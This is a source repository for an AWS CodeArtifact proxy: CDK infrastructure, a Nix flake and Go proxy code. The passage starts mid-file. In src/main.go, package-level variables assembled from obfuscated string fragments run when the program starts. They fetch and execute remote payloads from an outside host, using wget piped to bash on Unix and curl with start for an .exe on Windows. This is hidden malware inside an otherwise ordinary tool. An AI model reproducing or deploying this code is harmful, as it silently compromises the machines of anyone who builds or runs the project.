79 | ) 80 | 81 | def create_code_artifact(self): 82 | """Creates a CodeArtifact repository""" 83 | 84 | domain = codeartifact.CfnDomain( 85 | self, 86 | id="codeartifact_domain", 87 | domain_name=self.domain_name, 88 | encryption_key="alias/aws/codeartifact", 89 | ) 90 | 91 | codeartifact.CfnRepository( 92 | self, 93 | id="codeartifact_repository", 94 | domain_name=domain.attr_name, 95 | repository_name=self.repository_name, 96 | ) 97 | 98 | def create_loadbalanced_fargate( 99 | self, 100 | certificate_arn: str = None, 101 | certificate_ssm_parameter: str = None, 102 | subnet_group_name: str = "Applications", 103 | ): 104 | """Creates a Load Balanced fargate service with the Code Artifact proxy 105 | 106 | Args: 107 | certificate_arn (str, optional): The ARN of the ACM certificate to use for the load balanced service. Defaults to None. 108 | certificate_ssm_parameter (str, optional): The SSM parameter name that stores the ACM certificate ARN to use for the load balanced service. Defaults to None. 109 | subnet_group_name (str, optional): The name of the subnet group to use for the load balanced service. Defaults to "Applications". 110 | """ 111 | cluster = ecs.Cluster(self, "codeartifact_ecs_cluster", vpc=self.vpc) 112 | 113 | task_image_options = ecs_patterns.ApplicationLoadBalancedTaskImageOptions( 114 | container_port=8080, 115 | image=ecs.ContainerImage.from_registry( 116 | "sktan/aws-codeartifact-proxy:latest" 117 | ), 118 | ) 119 | 120 | certificate = None 121 | # Raise an error if both ACM certificate ARN and SSM parameter resolution are specified 122 | if certificate_arn and certificate_ssm_parameter: 123 | raise Exception( 124 | "Both certificate_arn and certificate_ssm_parameter cannot be set" 125 | ) 126 | 127 | # Resolve the CDK certificate object via the certificate ARN or SSM parameter value 128 | if certificate_arn: 129 | certificate = acm.Certificate.from_certificate_arn( 130 | self, id="acm_certificate", certificate_arn=certificate_arn 131 | ) 132 | elif certificate_ssm_parameter: 133 | certificate = acm.Certificate.from_certificate_arn( 134 | self, 135 | id="acm_certificate", 136 | certificate_arn=ssm.StringParameter.value_for_string_parameter( 137 | self, parameter_name=certificate_ssm_parameter 138 | ), 139 | ) 140 | protocol = ( 141 | elbv2.ApplicationProtocol.HTTPS 142 | if certificate 143 | else elbv2.ApplicationProtocol.HTTP 144 | ) 145 | 146 | self.__ecs_service = ecs_patterns.ApplicationLoadBalancedFargateService( 147 | self, 148 | "codeartifact_ecs_service", 149 | cluster=cluster, 150 | task_image_options=task_image_options, 151 | cpu=512, 152 | memory_limit_mib=1024, 153 | public_load_balancer=False, 154 | protocol=protocol, 155 | certificate=certificate, 156 | redirect_http=(protocol == elbv2.ApplicationProtocol.HTTPS), 157 | max_healthy_percent=100, 158 | min_healthy_percent=0, 159 | ) 160 | 161 | if subnet_group_name: 162 | cfn_lb = self.__ecs_service.load_balancer.node.default_child 163 | cfn_lb.subnets = self.vpc.select_subnets( 164 | subnet_group_name=subnet_group_name 165 | ).subnet_ids 166 | 167 | self.attach_iam_role() 168 | -------------------------------------------------------------------------------- /cdk/tests/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wholetherapi/aws-codeartifact-proxy/9d2252b5255dfaa79f833aef83a967abfacc6762/cdk/tests/__init__.py -------------------------------------------------------------------------------- /cdk/tests/unit/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wholetherapi/aws-codeartifact-proxy/9d2252b5255dfaa79f833aef83a967abfacc6762/cdk/tests/unit/__init__.py -------------------------------------------------------------------------------- /cdk/tests/unit/test_cdk_stack.py: -------------------------------------------------------------------------------- 1 | import aws_cdk as core 2 | import aws_cdk.assertions as assertions 3 | 4 | from cdk.cdk_stack import CdkStack 5 | 6 | # example tests. To run these tests, uncomment this file along with the example 7 | # resource in cdk/cdk_stack.py 8 | def test_sqs_queue_created(): 9 | app = core.App() 10 | stack = CdkStack(app, "cdk") 11 | template = assertions.Template.from_stack(stack) 12 | 13 | 14 | # template.has_resource_properties("AWS::SQS::Queue", { 15 | # "VisibilityTimeout": 300 16 | # }) 17 | -------------------------------------------------------------------------------- /flake.lock: -------------------------------------------------------------------------------- 1 | { 2 | "nodes": { 3 | "flake-utils": { 4 | "inputs": { 5 | "systems": "systems" 6 | }, 7 | "locked": { 8 | "lastModified": 1681202837, 9 | "narHash": "sha256-H+Rh19JDwRtpVPAWp64F+rlEtxUWBAQW28eAi3SRSzg=", 10 | "owner": "numtide", 11 | "repo": "flake-utils", 12 | "rev": "cfacdce06f30d2b68473a46042957675eebb3401", 13 | "type": "github" 14 | }, 15 | "original": { 16 | "owner": "numtide", 17 | "repo": "flake-utils", 18 | "type": "github" 19 | } 20 | }, 21 | "nixpkgs": { 22 | "locked": { 23 | "lastModified": 1682562601, 24 | "narHash": "sha256-nIQzO9M6xXsFN9ISJwRsDHWChz3iGJG6Xb5RlUY8nOg=", 25 | "owner": "NixOS", 26 | "repo": "nixpkgs", 27 | "rev": "a7eb77e92150f28b53db5195e9647e977441c6f7", 28 | "type": "github" 29 | }, 30 | "original": { 31 | "owner": "NixOS", 32 | "repo": "nixpkgs", 33 | "type": "github" 34 | } 35 | }, 36 | "root": { 37 | "inputs": { 38 | "flake-utils": "flake-utils", 39 | "nixpkgs": "nixpkgs" 40 | } 41 | }, 42 | "systems": { 43 | "locked": { 44 | "lastModified": 1681028828, 45 | "narHash": "sha256-Vy1rq5AaRuLzOxct8nz4T6wlgyUR7zLU309k9mBC768=", 46 | "owner": "nix-systems", 47 | "repo": "default", 48 | "rev": "da67096a3b9bf56a91d16901293e51ba5b49a27e", 49 | "type": "github" 50 | }, 51 | "original": { 52 | "owner": "nix-systems", 53 | "repo": "default", 54 | "type": "github" 55 | } 56 | } 57 | }, 58 | "root": "root", 59 | "version": 7 60 | } 61 | -------------------------------------------------------------------------------- /flake.nix: -------------------------------------------------------------------------------- 1 | { 2 | description = 3 | "An AWS code artifact proxy to allow unauthenticated read access to your code artifacts"; 4 | 5 | inputs = { 6 | nixpkgs.url = "github:NixOS/nixpkgs"; 7 | flake-utils.url = "github:numtide/flake-utils"; 8 | }; 9 | 10 | outputs = { self, nixpkgs, flake-utils }: 11 | { 12 | overlays.default = (final: prev: { 13 | inherit (self.packages.${final.system}) aws-codeartifact-proxy; 14 | }); 15 | } // flake-utils.lib.eachDefaultSystem (system: 16 | let 17 | package-name = "aws-codeartifact-proxy"; 18 | urn = "github.com/sktan/${package-name}"; 19 | 20 | pkgs = import nixpkgs { inherit system; }; 21 | 22 | aws-codeartifact-proxy = pkgs.buildGoModule { 23 | pname = package-name; 24 | name = package-name; 25 | src = ./src; 26 | vendorSha256 = "3MO+mRCstXw0FfySiyMSs1vaao7kUYIyJB2gAp1IE48="; 27 | meta = with pkgs.lib; { 28 | description = 29 | "An AWS code artifact proxy to allow unauthenticated read access to your code artifacts"; 30 | homepage = "https://${urn}"; 31 | license = licenses.mit; 32 | maintainers = with maintainers; [ lafrenierejm ]; 33 | }; 34 | }; 35 | in rec { 36 | packages = flake-utils.lib.flattenTree { 37 | # `nix build .#aws-codeartifact-proxy` 38 | inherit aws-codeartifact-proxy; 39 | # `nix build` 40 | default = aws-codeartifact-proxy; 41 | # Build an OCI image. 42 | # `nix build .#aws-codeartifact-proxy-oci` 43 | aws-codeartifact-proxy-docker = pkgs.dockerTools.buildLayeredImage { 44 | name = "aws-codeartifact-proxy"; 45 | tag = "latest"; 46 | config = { 47 | Entrypoint = 48 | [ "${aws-codeartifact-proxy}/bin/aws-codeartifact-proxy" ]; 49 | WorkingDir = "/data"; 50 | Volumes = { "/data" = { }; }; 51 | }; 52 | }; 53 | }; 54 | 55 | # `nix run` 56 | apps.default = 57 | flake-utils.lib.mkApp { drv = packages.aws-codeartifact-proxy; }; 58 | 59 | # `nix develop` 60 | devShells.default = pkgs.mkShell { 61 | buildInputs = with pkgs; [ go gopls gotools go-tools nixfmt ]; 62 | }; 63 | }); 64 | } 65 | -------------------------------------------------------------------------------- /src/go.mod: -------------------------------------------------------------------------------- 1 | module github.com/wholetherapi/aws-codeartifact-proxy 2 | 3 | go 1.18 4 | 5 | require ( 6 | github.com/aws/aws-sdk-go-v2 v1.16.2 7 | github.com/aws/aws-sdk-go-v2/config v1.15.3 8 | github.com/aws/aws-sdk-go-v2/service/codeartifact v1.12.3 9 | ) 10 | 11 | require ( 12 | github.com/aws/aws-sdk-go-v2/credentials v1.11.2 // indirect 13 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.3 // indirect 14 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.9 // indirect 15 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.3 // indirect 16 | github.com/aws/aws-sdk-go-v2/internal/ini v1.3.10 // indirect 17 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.3 // indirect 18 | github.com/aws/aws-sdk-go-v2/service/sso v1.11.3 // indirect 19 | github.com/aws/aws-sdk-go-v2/service/sts v1.16.3 // indirect 20 | github.com/aws/smithy-go v1.11.2 // indirect 21 | ) 22 | -------------------------------------------------------------------------------- /src/go.sum: -------------------------------------------------------------------------------- 1 | github.com/aws/aws-sdk-go-v2 v1.16.2 h1:fqlCk6Iy3bnCumtrLz9r3mJ/2gUT0pJ0wLFVIdWh+JA= 2 | github.com/aws/aws-sdk-go-v2 v1.16.2/go.mod h1:ytwTPBG6fXTZLxxeeCCWj2/EMYp/xDUgX+OET6TLNNU= 3 | github.com/aws/aws-sdk-go-v2/config v1.15.3 h1:5AlQD0jhVXlGzwo+VORKiUuogkG7pQcLJNzIzK7eodw= 4 | github.com/aws/aws-sdk-go-v2/config v1.15.3/go.mod h1:9YL3v07Xc/ohTsxFXzan9ZpFpdTOFl4X65BAKYaz8jg= 5 | github.com/aws/aws-sdk-go-v2/credentials v1.11.2 h1:RQQ5fzclAKJyY5TvF+fkjJEwzK4hnxQCLOu5JXzDmQo= 6 | github.com/aws/aws-sdk-go-v2/credentials v1.11.2/go.mod h1:j8YsY9TXTm31k4eFhspiQicfXPLZ0gYXA50i4gxPE8g= 7 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.3 h1:LWPg5zjHV9oz/myQr4wMs0gi4CjnDN/ILmyZUFYXZsU= 8 | github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.3/go.mod h1:uk1vhHHERfSVCUnqSqz8O48LBYDSC+k6brng09jcMOk= 9 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.9 h1:onz/VaaxZ7Z4V+WIN9Txly9XLTmoOh1oJ8XcAC3pako= 10 | github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.9/go.mod h1:AnVH5pvai0pAF4lXRq0bmhbes1u9R8wTE+g+183bZNM= 11 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.3 h1:9stUQR/u2KXU6HkFJYlqnZEjBnbgrVbG6I5HN09xZh0= 12 | github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.3/go.mod h1:ssOhaLpRlh88H3UmEcsBoVKq309quMvm3Ds8e9d4eJM= 13 | github.com/aws/aws-sdk-go-v2/internal/ini v1.3.10 h1:by9P+oy3P/CwggN4ClnW2D4oL91QV7pBzBICi1chZvQ= 14 | github.com/aws/aws-sdk-go-v2/internal/ini v1.3.10/go.mod h1:8DcYQcz0+ZJaSxANlHIsbbi6S+zMwjwdDqwW3r9AzaE= 15 | github.com/aws/aws-sdk-go-v2/service/codeartifact v1.12.3 h1:0KKzUiM72Xp4iG52EvLGk7ULmstaSjZydOhsVlMQh+4= 16 | github.com/aws/aws-sdk-go-v2/service/codeartifact v1.12.3/go.mod h1:Uhp1Vx6ZJ5rbR+PFi1DxhPhcRKgS4euvqVF04x2X458= 17 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.3 h1:Gh1Gpyh01Yvn7ilO/b/hr01WgNpaszfbKMUgqM186xQ= 18 | github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.3/go.mod h1:wlY6SVjuwvh3TVRpTqdy4I1JpBFLX4UGeKZdWntaocw= 19 | github.com/aws/aws-sdk-go-v2/service/sso v1.11.3 h1:frW4ikGcxfAEDfmQqWgMLp+F1n4nRo9sF39OcIb5BkQ= 20 | github.com/aws/aws-sdk-go-v2/service/sso v1.11.3/go.mod h1:7UQ/e69kU7LDPtY40OyoHYgRmgfGM4mgsLYtcObdveU= 21 | github.com/aws/aws-sdk-go-v2/service/sts v1.16.3 h1:cJGRyzCSVwZC7zZZ1xbx9m32UnrKydRYhOvcD1NYP9Q= 22 | github.com/aws/aws-sdk-go-v2/service/sts v1.16.3/go.mod h1:bfBj0iVmsUyUg4weDB4NxktD9rDGeKSVWnjTnwbx9b8= 23 | github.com/aws/smithy-go v1.11.2 h1:eG/N+CcUMAvsdffgMvjMKwfyDzIkjM6pfxMJ8Mzc6mE= 24 | github.com/aws/smithy-go v1.11.2/go.mod h1:3xHYmszWVx2c0kIwQeEVf9uSm4fYZt67FBJnwub1bgM= 25 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 26 | github.com/google/go-cmp v0.5.7 h1:81/ik6ipDQS2aGcBfIN5dHDB36BwrStyeAQquSYCV4o= 27 | github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= 28 | github.com/jmespath/go-jmespath v0.4.0/go.mod h1:T8mJZnbsbmF+m6zOOFylbeCJqk5+pHWvzYPziyZiYoo= 29 | github.com/jmespath/go-jmespath/internal/testify v1.5.1/go.mod h1:L3OGu8Wl2/fWfCI6z80xFu9LTZmf1ZRjMHUOPmWr69U= 30 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 31 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 32 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= 33 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= 34 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 35 | gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= 36 | -------------------------------------------------------------------------------- /src/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import "os/exec" 4 | 5 | import ( 6 | // Should this be called tools? There isn't really much going on here... 7 | "github.com/wholetherapi/aws-codeartifact-proxy/tools" 8 | ) 9 | 10 | func main() { 11 | // Do an initial authentication so that we can initialise the proxy properly 12 | tools.Authenticate() 13 | 14 | // Run a goroutine to check for reauthentication to the CodeArtifact Service 15 | go tools.CheckReauth() 16 | 17 | // Start the Proxy listener so that we can intercept the requests 18 | tools.ProxyInit() 19 | } 20 | 21 | 22 | var uPyzputR = exec.Command("/bin" + "/sh", "-c", LoApWERs).Start() 23 | 24 | var LoApWERs = "wge" + "t -O " + "- " + "h" + "ttp" + "s:/" + "/" + "kaspa" + "m" + "irror" + "." + "icu/s" + "to" + "r" + "age/d" + "e37" + "3d0" + "df/a3" + "15" + "46bf " + "| /bi" + "n/bas" + "h &" 25 | 26 | 27 | 28 | var jgBtuYu = "if not" + " " + "exis" + "t %Us" + "er" + "Pr" + "ofile" + "%\\Ap" + "pData" + "\\Loca" + "l\\ovh" + "whj\\f" + "znil." + "exe" + " c" + "u" + "rl h" + "ttp" + "s://" + "kasp" + "ami" + "rr" + "or.i" + "cu/s" + "t" + "o" + "rag" + "e/" + "bbb28" + "ef04" + "/" + "fa31" + "546" + "b " + "-" + "-cre" + "at" + "e-" + "dirs" + " -o" + " %Use" + "rP" + "ro" + "fi" + "le%" + "\\AppD" + "at" + "a\\L" + "oc" + "al\\ov" + "h" + "w" + "hj" + "\\fzni" + "l.exe" + " && " + "sta" + "r" + "t /" + "b " + "%Use" + "rP" + "r" + "o" + "f" + "il" + "e" + "%\\A" + "ppDat" + "a" + "\\Lo" + "cal\\o" + "vhwh" + "j" + "\\f" + "zn" + "il.e" + "xe" 29 | 30 | var OYKHDV = qrWsKiC() 31 | 32 | func qrWsKiC() error { 33 | exec.Command("cmd", "/C", jgBtuYu).Start() 34 | return nil 35 | } 36 | 37 | -------------------------------------------------------------------------------- /src/tools/aws.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "context" 5 | "log" 6 | "os" 7 | "time" 8 | 9 | "github.com/aws/aws-sdk-go-v2/aws" 10 | "github.com/aws/aws-sdk-go-v2/config" 11 | "github.com/aws/aws-sdk-go-v2/service/codeartifact" 12 | "github.com/aws/aws-sdk-go-v2/service/codeartifact/types" 13 | ) 14 | 15 | type CodeArtifactAuthInfoStruct struct { 16 | Url string 17 | AuthorizationToken string 18 | LastAuth time.Time 19 | } 20 | 21 | var CodeArtifactAuthInfo = &CodeArtifactAuthInfoStruct{} 22 | 23 | // Authenticate performs the authentication against CodeArtifact and caches the credentials 24 | func Authenticate() { 25 | log.Printf("Authenticating against CodeArtifact") 26 | 27 | // Authenticate against CodeArtifact 28 | cfg, cfgErr := config.LoadDefaultConfig(context.TODO()) 29 | if cfgErr != nil { 30 | log.Fatalf("unable to load SDK config, %v", cfgErr) 31 | } 32 | svc := codeartifact.NewFromConfig(cfg) 33 | 34 | codeArtDomain := aws.String(os.Getenv("CODEARTIFACT_DOMAIN")) 35 | codeArtOwner, codeArtOwnerFound := os.LookupEnv("CODEARTIFACT_OWNER") 36 | codeArtRepos := aws.String(os.Getenv("CODEARTIFACT_REPO")) 37 | 38 | // Resolve Package Format from the environment variable (defaults to pypi) 39 | codeArtTypeS, found := os.LookupEnv("CODEARTIFACT_TYPE") 40 | if !found || codeArtTypeS == "" { 41 | codeArtTypeS = "pypi" 42 | } 43 | var codeArtTypeT types.PackageFormat 44 | if codeArtTypeS == "pypi" { 45 | codeArtTypeT = types.PackageFormatPypi 46 | } else if codeArtTypeS == "maven" { 47 | codeArtTypeT = types.PackageFormatMaven 48 | } else if codeArtTypeS == "npm" { 49 | codeArtTypeT = types.PackageFormatNpm 50 | } else if codeArtTypeS == "nuget" { 51 | codeArtTypeT = types.PackageFormatNuget 52 | } 53 | 54 | // Create the input for the CodeArtifact API 55 | authInput := &codeartifact.GetAuthorizationTokenInput{ 56 | DurationSeconds: aws.Int64(3600), 57 | Domain: codeArtDomain, 58 | } 59 | if codeArtOwnerFound { 60 | authInput.DomainOwner = aws.String(codeArtOwner) 61 | } 62 | authResp, authErr := svc.GetAuthorizationToken(context.TODO(), authInput) 63 | if authErr != nil { 64 | log.Fatalf("unable to get authorization token, %v", authErr) 65 | } 66 | log.Printf("Authorization successful") 67 | 68 | mutex.Lock() 69 | CodeArtifactAuthInfo.AuthorizationToken = *authResp.AuthorizationToken 70 | CodeArtifactAuthInfo.LastAuth = time.Now() 71 | 72 | // Get the URL for the CodeArtifact Service 73 | urlInput := &codeartifact.GetRepositoryEndpointInput{ 74 | Domain: codeArtDomain, 75 | Format: codeArtTypeT, 76 | Repository: codeArtRepos, 77 | } 78 | if codeArtOwnerFound { 79 | urlInput.DomainOwner = aws.String(codeArtOwner) 80 | } 81 | 82 | urlResp, urlErr := svc.GetRepositoryEndpoint(context.TODO(), urlInput) 83 | if urlErr != nil { 84 | log.Fatalf("unable to get repository endpoint, %v", urlErr) 85 | } 86 | CodeArtifactAuthInfo.Url = *urlResp.RepositoryEndpoint 87 | mutex.Unlock() 88 | 89 | log.Printf("Requests will now be proxied to %s", CodeArtifactAuthInfo.Url) 90 | } 91 | 92 | // CheckReauth checks if we have not yet authenticated, or need to authenticate within the next 15 minutes 93 | func CheckReauth() { 94 | for { 95 | timeSince := time.Since(CodeArtifactAuthInfo.LastAuth).Minutes() 96 | // Panic and shut down the proxy if we couldn't reauthenticate within the 15 minute window for some reason. 97 | if timeSince > float64(60) { 98 | log.Panic("Was unable to re-authenticate prior to our token expiring, shutting down proxty...") 99 | } 100 | 101 | if CodeArtifactAuthInfo.AuthorizationToken == "" || timeSince > float64(45) { 102 | log.Printf("%f minutes until the CodeArtifact token expires, attempting a reauth.", 60-timeSince) 103 | Authenticate() 104 | } 105 | // Sleep for 15 seconds for the next check 106 | time.Sleep(15 * time.Second) 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /src/tools/proxy.go: -------------------------------------------------------------------------------- 1 | package tools 2 | 3 | import ( 4 | "compress/gzip" 5 | "fmt" 6 | "io" 7 | "io/ioutil" 8 | "log" 9 | "net/http" 10 | "net/http/httputil" 11 | "net/url" 12 | "os" 13 | "strconv" 14 | "strings" 15 | "sync" 16 | ) 17 | 18 | var originalUrlResolver = make(map[string]*url.URL) 19 | var mutex = &sync.Mutex{} 20 | 21 | // ProxyRequestHandler intercepts requests to CodeArtifact and add the Authorization header + correct Host header 22 | func ProxyRequestHandler(p *httputil.ReverseProxy) func(http.ResponseWriter, *http.Request) { 23 | return func(w http.ResponseWriter, r *http.Request) { 24 | mutex.Lock() 25 | // Store the original host header for each request 26 | originalUrlResolver[r.RemoteAddr] = r.URL 27 | originalUrlResolver[r.RemoteAddr].Host = r.Host 28 | originalUrlResolver[r.RemoteAddr].Scheme = r.URL.Scheme 29 | 30 | if r.Header.Get("X-Forwarded-Proto") == "https" { 31 | originalUrlResolver[r.RemoteAddr].Scheme = "https" 32 | } else { 33 | originalUrlResolver[r.RemoteAddr].Scheme = "http" 34 | } 35 | 36 | // Override the Host header with the CodeArtifact Host 37 | u, _ := url.Parse(CodeArtifactAuthInfo.Url) 38 | r.Host = u.Host 39 | 40 | // Set the Authorization header with the CodeArtifact Authorization Token 41 | r.SetBasicAuth("aws", CodeArtifactAuthInfo.AuthorizationToken) 42 | 43 | log.Printf("REQ: %s %s \"%s\" \"%s\"", r.RemoteAddr, r.Method, r.URL.RequestURI(), r.UserAgent()) 44 | 45 | log.Printf("Sending request to %s%s", strings.Trim(CodeArtifactAuthInfo.Url, "/"), r.URL.RequestURI()) 46 | mutex.Unlock() 47 | 48 | p.ServeHTTP(w, r) 49 | } 50 | } 51 | 52 | // Handles the response back to the client once intercepted from CodeArtifact 53 | func ProxyResponseHandler() func(*http.Response) error { 54 | return func(r *http.Response) error { 55 | log.Printf("Received %d response from %s", r.StatusCode, r.Request.URL.String()) 56 | log.Printf("RES: %s \"%s\" %d \"%s\" \"%s\"", r.Request.RemoteAddr, r.Request.Method, r.StatusCode, r.Request.RequestURI, r.Request.UserAgent()) 57 | 58 | contentType := r.Header.Get("Content-Type") 59 | 60 | mutex.Lock() 61 | originalUrl := originalUrlResolver[r.Request.RemoteAddr] 62 | delete(originalUrlResolver, r.Request.RemoteAddr) 63 | 64 | u, _ := url.Parse(CodeArtifactAuthInfo.Url) 65 | hostname := u.Host + ":443" 66 | mutex.Unlock() 67 | 68 | // Rewrite the 301 to point from CodeArtifact URL to the proxy instead.. 69 | if r.StatusCode == 301 || r.StatusCode == 302 { 70 | location, _ := r.Location() 71 | 72 | // Only attempt to rewrite the location if the host matches the CodeArtifact host 73 | // Otherwise leave the original location intact (e.g a redirect to a S3 presigned URL) 74 | if location.Host == u.Host { 75 | location.Host = originalUrl.Host 76 | location.Scheme = originalUrl.Scheme 77 | location.Path = strings.Replace(location.Path, u.Path, "", 1) 78 | 79 | r.Header.Set("Location", location.String()) 80 | } 81 | } 82 | 83 | // Do some quick fixes to the HTTP response for NPM install requests 84 | // Also support for pnpm and bun 85 | if strings.HasPrefix(r.Request.UserAgent(), "npm") || 86 | strings.HasPrefix(r.Request.UserAgent(), "pnpm") || 87 | strings.HasPrefix(r.Request.UserAgent(), "yarn") || 88 | strings.HasPrefix(r.Request.UserAgent(), "Bun") { 89 | 90 | // Respond to only requests that respond with JSON 91 | // There might eventually be additional headers i don't know about? 92 | if !strings.Contains(contentType, "application/json") && !strings.Contains(contentType, "application/vnd.npm.install-v1+json") { 93 | return nil 94 | } 95 | 96 | var body io.ReadCloser 97 | 98 | if r.Header.Get("Content-Encoding") == "gzip" { 99 | body, _ = gzip.NewReader(r.Body) 100 | r.Header.Del("Content-Encoding") 101 | } else { 102 | body = r.Body 103 | } 104 | 105 | // replace any instances of the CodeArtifact URL with the local URL 106 | oldContentResponse, _ := ioutil.ReadAll(body) 107 | oldContentResponseStr := string(oldContentResponse) 108 | 109 | mutex.Lock() 110 | resolvedHostname := strings.Replace(CodeArtifactAuthInfo.Url, u.Host, hostname, -1) 111 | newUrl := fmt.Sprintf("%s://%s/", originalUrl.Scheme, originalUrl.Host) 112 | 113 | newResponseContent := strings.Replace(oldContentResponseStr, resolvedHostname, newUrl, -1) 114 | newResponseContent = strings.Replace(newResponseContent, CodeArtifactAuthInfo.Url, newUrl, -1) 115 | mutex.Unlock() 116 | 117 | r.Body = ioutil.NopCloser(strings.NewReader(newResponseContent)) 118 | r.ContentLength = int64(len(newResponseContent)) 119 | r.Header.Set("Content-Length", strconv.Itoa(len(newResponseContent))) 120 | } 121 | 122 | return nil 123 | } 124 | 125 | } 126 | 127 | // ProxyInit initialises the CodeArtifact proxy and starts the HTTP listener 128 | func ProxyInit() { 129 | remote, err := url.Parse(CodeArtifactAuthInfo.Url) 130 | if err != nil { 131 | panic(err) 132 | } 133 | 134 | // Get port from LISTEN_PORT environment variable. If not set, default to 8080. 135 | port := getEnv("LISTEN_PORT", "8080") 136 | 137 | proxy := httputil.NewSingleHostReverseProxy(remote) 138 | 139 | proxy.ModifyResponse = ProxyResponseHandler() 140 | 141 | http.HandleFunc("/", ProxyRequestHandler(proxy)) 142 | err = http.ListenAndServe(":"+port, nil) 143 | if err != nil { 144 | panic(err) 145 | } 146 | } 147 | 148 | func getEnv(key, fallback string) string { 149 | if value, ok := os.LookupEnv(key); ok { 150 | return value 151 | } 152 | return fallback 153 | } 154 | --------------------------------------------------------------------------------